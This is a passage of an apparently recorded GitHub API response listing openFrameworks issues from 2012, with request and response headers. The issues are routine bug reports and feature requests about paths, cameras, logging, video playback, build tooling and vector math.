results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799872,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799653,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":3795495,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3754055,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3710293,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3662214,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":808090},"id":3647640,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3631618,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3627067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":3614231,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3605277,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"7a7b635a35e21a9f69de7a09b9040837"'), ('date', 'Tue, 29 May 2012 19:27:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue 